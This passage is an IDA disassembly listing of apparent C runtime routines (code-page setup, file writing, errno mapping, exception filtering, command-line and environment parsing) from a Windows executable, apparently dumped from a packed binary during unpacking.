		mov	ds:dword_48B444, eax
		call	sub_41EB10
		lea	esi, dword_43B944[esi]
		mov	edi, offset dword_48B450
		movsd
		movsd
		pop	ecx
		mov	ds:dword_48B664, eax
		movsd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA60:				; CODE XREF: sub_41E92D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41E9B4

loc_41EA6C:				; CODE XREF: sub_41E92D+7Ej
					; sub_41E92D+8Bj
		push	1
		pop	eax

loc_41EA6F:				; CODE XREF: sub_41E92D+14Fj
		or	ds:byte_48B561[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41EA6F
		push	esi
		call	sub_41EB10
		pop	ecx
		mov	ds:dword_48B664, eax
		mov	ds:dword_48B45C, 1
		jmp	short loc_41EA9C
; ---------------------------------------------------------------------------

loc_41EA96:				; CODE XREF: sub_41E92D+74j
		mov	ds:dword_48B45C, ebx

loc_41EA9C:				; CODE XREF: sub_41E92D+167j
		xor	eax, eax
		mov	edi, offset dword_48B450
		stosd
		stosd
		stosd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EAA8:				; CODE XREF: sub_41E92D+51j
		cmp	ds:dword_48A0C4, ebx
		jz	short loc_41EABE

loc_41EAB0:				; CODE XREF: sub_41E92D+27j
		call	sub_41EB43

loc_41EAB5:				; CODE XREF: sub_41E92D+131j
					; sub_41E92D+179j
		call	sub_41EB6C

loc_41EABA:				; CODE XREF: sub_41E92D+1Dj
		xor	eax, eax
		jmp	short loc_41EAC1
; ---------------------------------------------------------------------------

loc_41EABE:				; CODE XREF: sub_41E92D+181j
		or	eax, 0FFFFFFFFh

loc_41EAC1:				; CODE XREF: sub_41E92D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E92D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EAC6	proc near		; CODE XREF: sub_41E92D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	ds:dword_48A0C4, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41EAE6
		mov	ds:dword_48A0C4, 1
		jmp	ds:dword_424050
; ---------------------------------------------------------------------------

loc_41EAE6:				; CODE XREF: sub_41EAC6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41EAFB
		mov	ds:dword_48A0C4, 1
		jmp	ds:dword_4241D0
; ---------------------------------------------------------------------------

loc_41EAFB:				; CODE XREF: sub_41EAC6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41EB0F
		mov	eax, ds:dword_48A0B8
		mov	ds:dword_48A0C4, 1

locret_41EB0F:				; CODE XREF: sub_41EAC6+38j
		retn
sub_41EAC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB10	proc near		; CODE XREF: sub_41E92D+118p
					; sub_41E92D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41EB3D
		sub	eax, 4
		jz	short loc_41EB37
		sub	eax, 0Dh
		jz	short loc_41EB31
		dec	eax
		jz	short loc_41EB2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41EB2B:				; CODE XREF: sub_41EB10+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_41EB31:				; CODE XREF: sub_41EB10+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_41EB37:				; CODE XREF: sub_41EB10+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_41EB3D:				; CODE XREF: sub_41EB10+9j
		mov	eax, 411h
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB43	proc near		; CODE XREF: sub_41E92D:loc_41EAB0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_48B560
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_48B450
		mov	ds:dword_48B444, eax
		mov	ds:dword_48B45C, eax
		mov	ds:dword_48B664, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41EB43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB6C	proc near		; CODE XREF: sub_41E92D:loc_41EAB5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	ds:dword_48B444
		call	ds:dword_4241CC	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41ECA5
		xor	eax, eax
		mov	esi, 100h

loc_41EB96:				; CODE XREF: sub_41EB6C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41EB96
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41EBE7
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_41EBB5:				; CODE XREF: sub_41EB6C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41EBDC
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_41EBDC:				; CODE XREF: sub_41EB6C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41EBB5
		pop	edi
		pop	ebx

loc_41EBE7:				; CODE XREF: sub_41EB6C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	ds:dword_48B664
		push	ds:dword_48B444
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41FB63
		push	0
		lea	eax, [ebp+var_214]
		push	ds:dword_48B444
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	ds:dword_48B664
		call	sub_41E709
		push	0
		lea	eax, [ebp+var_314]
		push	ds:dword_48B444
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	ds:dword_48B664
		call	sub_41E709
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_41EC62:				; CODE XREF: sub_41EB6C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41EC80
		or	ds:byte_48B561[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_41EC78:				; CODE XREF: sub_41EB6C+127j
		mov	ds:byte_48B460[eax], dl
		jmp	short loc_41EC9C
; ---------------------------------------------------------------------------

loc_41EC80:				; CODE XREF: sub_41EB6C+FCj
		test	dl, 2
		jz	short loc_41EC95
		or	ds:byte_48B561[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41EC78
; ---------------------------------------------------------------------------

loc_41EC95:				; CODE XREF: sub_41EB6C+117j
		and	ds:byte_48B460[eax], 0

loc_41EC9C:				; CODE XREF: sub_41EB6C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41EC62
		jmp	short loc_41ECEE
; ---------------------------------------------------------------------------

loc_41ECA5:				; CODE XREF: sub_41EB6C+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_41ECAC:				; CODE XREF: sub_41EB6C+180j
		cmp	eax, 41h
		jb	short loc_41ECCA
		cmp	eax, 5Ah
		ja	short loc_41ECCA
		or	ds:byte_48B561[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_41ECC2:				; CODE XREF: sub_41EB6C+174j
		mov	ds:byte_48B460[eax], cl
		jmp	short loc_41ECE9
; ---------------------------------------------------------------------------

loc_41ECCA:				; CODE XREF: sub_41EB6C+143j
					; sub_41EB6C+148j
		cmp	eax, 61h
		jb	short loc_41ECE2
		cmp	eax, 7Ah
		ja	short loc_41ECE2
		or	ds:byte_48B561[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41ECC2
; ---------------------------------------------------------------------------

loc_41ECE2:				; CODE XREF: sub_41EB6C+161j
					; sub_41EB6C+166j
		and	ds:byte_48B460[eax], 0

loc_41ECE9:				; CODE XREF: sub_41EB6C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41ECAC

loc_41ECEE:				; CODE XREF: sub_41EB6C+137j
		pop	esi
		leave
		retn
sub_41EB6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECF1	proc near		; CODE XREF: sub_41F12F+9p
					; sub_41F187+Dp ...
		cmp	ds:dword_48B694, 0
		jnz	short locret_41ED0C
		push	0FFFFFFFDh
		call	sub_41E92D
		pop	ecx
		mov	ds:dword_48B694, 1

locret_41ED0C:				; CODE XREF: sub_41ECF1+7j
		retn
sub_41ECF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED0D	proc near		; CODE XREF: sub_4192B8+2Bp
					; sub_4192B8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_48B45C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41ED31
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_41ED94
; ---------------------------------------------------------------------------

loc_41ED31:				; CODE XREF: sub_41ED0D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41ED76
		mov	ecx, [ebp+arg_4]

loc_41ED3C:				; CODE XREF: sub_41ED0D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	ds:byte_48B561[esi], 4
		mov	[edi], al
		jz	short loc_41ED60
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41ED6C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED72
		jmp	short loc_41ED66
; ---------------------------------------------------------------------------

loc_41ED60:				; CODE XREF: sub_41ED0D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED76

loc_41ED66:				; CODE XREF: sub_41ED0D+51j
		test	edx, edx
		jnz	short loc_41ED3C
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------

loc_41ED6C:				; CODE XREF: sub_41ED0D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------

loc_41ED72:				; CODE XREF: sub_41ED0D+4Fj
		and	byte ptr [edi-2], 0

loc_41ED76:				; CODE XREF: sub_41ED0D+2Aj
					; sub_41ED0D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41ED91
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_41ED91:				; CODE XREF: sub_41ED0D+6Fj
		mov	eax, [ebp+arg_0]

loc_41ED94:				; CODE XREF: sub_41ED0D+22j
		pop	edi
		pop	ebp
		retn
sub_41ED0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED97	proc near		; CODE XREF: sub_4196EF+A2p
					; sub_419D23+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, ds:dword_48B440
		push	esi
		push	edi
		jnb	loc_41EF2B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41EF2B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41EDE8

loc_41EDE1:				; CODE XREF: sub_41ED97+177j
		xor	eax, eax
		jmp	loc_41EF3F
; ---------------------------------------------------------------------------

loc_41EDE8:				; CODE XREF: sub_41ED97+48j
		test	al, 20h
		jz	short loc_41EDF8
		push	2
		push	edi
		push	ecx
		call	sub_41E517
		add	esp, 0Ch

loc_41EDF8:				; CODE XREF: sub_41ED97+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41EEC7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41EEFF

loc_41EE18:				; CODE XREF: sub_41ED97+F5j
		lea	eax, [ebp+var_414]

loc_41EE1E:				; CODE XREF: sub_41ED97+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41EE52
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41EE3D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_41EE3D:				; CODE XREF: sub_41ED97+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41EE1E

loc_41EE52:				; CODE XREF: sub_41ED97+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_42407C	; WriteFile
		test	eax, eax
		jz	short loc_41EEBC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41EE8E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41EE18

loc_41EE8E:				; CODE XREF: sub_41ED97+EAj
					; sub_41ED97+12Ej
		xor	edi, edi

loc_41EE90:				; CODE XREF: sub_41ED97+150j
					; sub_41ED97+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41EF26
		cmp	[ebp+arg_0], edi
		jz	short loc_41EEFF
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41EEF4
		mov	ds:dword_48A014, 9
		mov	ds:dword_48A018, eax
		jmp	loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EEBC:				; CODE XREF: sub_41ED97+E0j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE8E
; ---------------------------------------------------------------------------

loc_41EEC7:				; CODE XREF: sub_41ED97+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	ds:dword_42407C	; WriteFile
		test	eax, eax
		jz	short loc_41EEE9
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------

loc_41EEE9:				; CODE XREF: sub_41ED97+145j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------

loc_41EEF4:				; CODE XREF: sub_41ED97+10Fj
		push	[ebp+arg_0]
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EEFF:				; CODE XREF: sub_41ED97+7Bj
					; sub_41ED97+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41EF14
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41EDE1

loc_41EF14:				; CODE XREF: sub_41ED97+16Fj
		mov	ds:dword_48A014, 1Ch
		mov	ds:dword_48A018, edi
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EF26:				; CODE XREF: sub_41ED97+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41EF3F
; ---------------------------------------------------------------------------

loc_41EF2B:				; CODE XREF: sub_41ED97+15j
					; sub_41ED97+37j
		and	ds:dword_48A018, 0
		mov	ds:dword_48A014, 9

loc_41EF3C:				; CODE XREF: sub_41ED97+120j
					; sub_41ED97+166j ...
		or	eax, 0FFFFFFFFh

loc_41EF3F:				; CODE XREF: sub_41ED97+4Cj
					; sub_41ED97+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED97	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF44	proc near		; CODE XREF: sub_4197F9+16p
					; sub_419BBA+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	ds:dword_48A018, ecx
		mov	eax, offset dword_43BA30

loc_41EF55:				; CODE XREF: sub_41EF44+1Ej
		cmp	ecx, [eax]
		jz	short loc_41EF79
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43BB98
		jl	short loc_41EF55
		cmp	ecx, 13h
		jb	short loc_41EF86
		cmp	ecx, 24h
		ja	short loc_41EF86
		mov	ds:dword_48A014, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_41EF79:				; CODE XREF: sub_41EF44+13j
		mov	eax, ds:dword_43BA34[edx*8]
		mov	ds:dword_48A014, eax
		retn
; ---------------------------------------------------------------------------

loc_41EF86:				; CODE XREF: sub_41EF44+23j
					; sub_41EF44+28j
		cmp	ecx, 0BCh
		jb	short loc_41EFA0
		cmp	ecx, 0CAh
		mov	ds:dword_48A014, 8
		jbe	short locret_41EFAA

loc_41EFA0:				; CODE XREF: sub_41EF44+48j
		mov	ds:dword_48A014, 16h

locret_41EFAA:				; CODE XREF: sub_41EF44+5Aj
		retn
sub_41EF44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EFAB	proc near		; CODE XREF: _0:00419CC7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41F0EC
		test	eax, eax
		pop	ecx
		jz	loc_41F0E0
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41F0E0
		cmp	ebx, 5
		jnz	short loc_41EFDC
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41F0E9
; ---------------------------------------------------------------------------

loc_41EFDC:				; CODE XREF: sub_41EFAB+23j
		cmp	ebx, 1
		jz	loc_41F0DB
		mov	ecx, ds:dword_48A0C8
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_48A0C8, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41F0CB
		mov	ecx, ds:dword_43BC10
		mov	edx, ds:dword_43BC14
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41F02B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43BBA0h[esi*4]

loc_41F022:				; CODE XREF: sub_41EFAB+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41F022

loc_41F02B:				; CODE XREF: sub_41EFAB+69j
		mov	eax, [eax]
		mov	esi, ds:dword_43BC1C
		cmp	eax, 0C000008Eh
		jnz	short loc_41F046
		mov	ds:dword_43BC1C, 83h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F046:				; CODE XREF: sub_41EFAB+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41F059
		mov	ds:dword_43BC1C, 81h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F059:				; CODE XREF: sub_41EFAB+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41F06C
		mov	ds:dword_43BC1C, 84h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F06C:				; CODE XREF: sub_41EFAB+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41F07F
		mov	ds:dword_43BC1C, 85h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F07F:				; CODE XREF: sub_41EFAB+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41F092
		mov	ds:dword_43BC1C, 82h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F092:				; CODE XREF: sub_41EFAB+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41F0A5
		mov	ds:dword_43BC1C, 86h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F0A5:				; CODE XREF: sub_41EFAB+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41F0B6
		mov	ds:dword_43BC1C, 8Ah

loc_41F0B6:				; CODE XREF: sub_41EFAB+99j
					; sub_41EFAB+ACj ...
		push	ds:dword_43BC1C
		push	8
		call	ebx
		pop	ecx
		mov	ds:dword_43BC1C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41F0D3
; ---------------------------------------------------------------------------

loc_41F0CB:				; CODE XREF: sub_41EFAB+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_41F0D3:				; CODE XREF: sub_41EFAB+11Ej
		mov	eax, [ebp+arg_0]
		mov	ds:dword_48A0C8, eax

loc_41F0DB:				; CODE XREF: sub_41EFAB+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F0E9
; ---------------------------------------------------------------------------

loc_41F0E0:				; CODE XREF: sub_41EFAB+Fj
					; sub_41EFAB+1Aj
		push	[ebp+arg_4]
		call	ds:dword_42404C	; UnhandledExceptionFilter

loc_41F0E9:				; CODE XREF: sub_41EFAB+2Cj
					; sub_41EFAB+133j
		pop	ebx
		pop	ebp
		retn
sub_41EFAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F0EC	proc near		; CODE XREF: sub_41EFAB+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_43BC18
		cmp	ds:dword_43BB98, edx
		push	esi
		mov	eax, offset dword_43BB98
		jz	short loc_41F119
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BB98h[esi*4]

loc_41F10E:				; CODE XREF: sub_41F0EC+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F119
		cmp	[eax], edx
		jnz	short loc_41F10E

loc_41F119:				; CODE XREF: sub_41F0EC+16j
					; sub_41F0EC+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BB98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F12C
		cmp	[eax], edx
		jz	short locret_41F12E

loc_41F12C:				; CODE XREF: sub_41F0EC+3Aj
		xor	eax, eax

locret_41F12E:				; CODE XREF: sub_41F0EC+3Ej
		retn
sub_41F0EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F12F	proc near		; CODE XREF: _0:00419C89p
		cmp	ds:dword_48B694, 0
		jnz	short loc_41F13D
		call	sub_41ECF1

loc_41F13D:				; CODE XREF: sub_41F12F+7j
		push	esi
		mov	esi, ds:dword_48B68C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41F16F

loc_41F14A:				; CODE XREF: sub_41F12F+33j
					; sub_41F12F+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41F167
		test	al, al
		jz	short loc_41F167
		movzx	eax, al
		push	eax
		call	sub_42101D
		test	eax, eax
		pop	ecx
		jz	short loc_41F14A
		inc	esi
		jmp	short loc_41F14A
; ---------------------------------------------------------------------------

loc_41F167:				; CODE XREF: sub_41F12F+21j
					; sub_41F12F+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41F179

loc_41F16C:				; CODE XREF: sub_41F12F+52j
		inc	esi
		jmp	short loc_41F179
; ---------------------------------------------------------------------------

loc_41F16F:				; CODE XREF: sub_41F12F+19j
		cmp	al, 20h
		jbe	short loc_41F179

loc_41F173:				; CODE XREF: sub_41F12F+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41F173

loc_41F179:				; CODE XREF: sub_41F12F+3Bj
					; sub_41F12F+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41F183
		cmp	al, 20h
		jbe	short loc_41F16C

loc_41F183:				; CODE XREF: sub_41F12F+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41F12F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F187	proc near		; CODE XREF: _0:00419C72p
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_48B694, ebx
		push	esi
		push	edi
		jnz	short loc_41F199
		call	sub_41ECF1

loc_41F199:				; CODE XREF: sub_41F187+Bj
		mov	esi, ds:dword_48A060
		xor	edi, edi

loc_41F1A1:				; CODE XREF: sub_41F187+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41F1B9
		cmp	al, 3Dh
		jz	short loc_41F1AC
		inc	edi

loc_41F1AC:				; CODE XREF: sub_41F187+22j
		push	esi
		call	sub_417AB0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41F1A1
; ---------------------------------------------------------------------------

loc_41F1B9:				; CODE XREF: sub_41F187+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_48A03C, esi
		jnz	short loc_41F1DB
		push	9
		call	sub_419CDA
		pop	ecx

loc_41F1DB:				; CODE XREF: sub_41F187+4Aj
		mov	edi, ds:dword_48A060
		cmp	[edi], bl
		jz	short loc_41F21E
		push	ebp

loc_41F1E6:				; CODE XREF: sub_41F187+94j
		push	edi
		call	sub_417AB0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41F217
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41F20A
		push	9
		call	sub_419CDA
		pop	ecx

loc_41F20A:				; CODE XREF: sub_41F187+79j
		push	edi
		push	dword ptr [esi]
		call	sub_4179C0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_41F217:				; CODE XREF: sub_41F187+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41F1E6
		pop	ebp

loc_41F21E:				; CODE XREF: sub_41F187+5Cj
		push	ds:dword_48A060
		call	sub_417C3B
		pop	ecx
		mov	ds:dword_48A060, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_48B690, 1
		pop	ebx
		retn
sub_41F187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F240	proc near		; CODE XREF: _0:00419C6Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_48B694, ebx
		push	esi
		push	edi
		jnz	short loc_41F257
		call	sub_41ECF1

loc_41F257:				; CODE XREF: sub_41F240+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	ds:off_424094
		mov	eax, ds:dword_48B68C
		mov	ds:off_48A04C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41F27C
		mov	edi, eax

loc_41F27C:				; CODE XREF: sub_41F240+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41F2AC
		push	8
		call	sub_419CDA
		pop	ecx

loc_41F2AC:				; CODE XREF: sub_41F240+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	ds:dword_48A034, esi
		pop	edi
		pop	esi
		mov	ds:dword_48A030, eax
		pop	ebx
		leave
		retn
sub_41F240	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2D9	proc near		; CODE XREF: sub_41F240+47p
					; sub_41F240+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41F303
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41F303:				; CODE XREF: sub_41F2D9+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F34C

loc_41F308:				; CODE XREF: sub_41F2D9+58j
					; sub_41F2D9+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
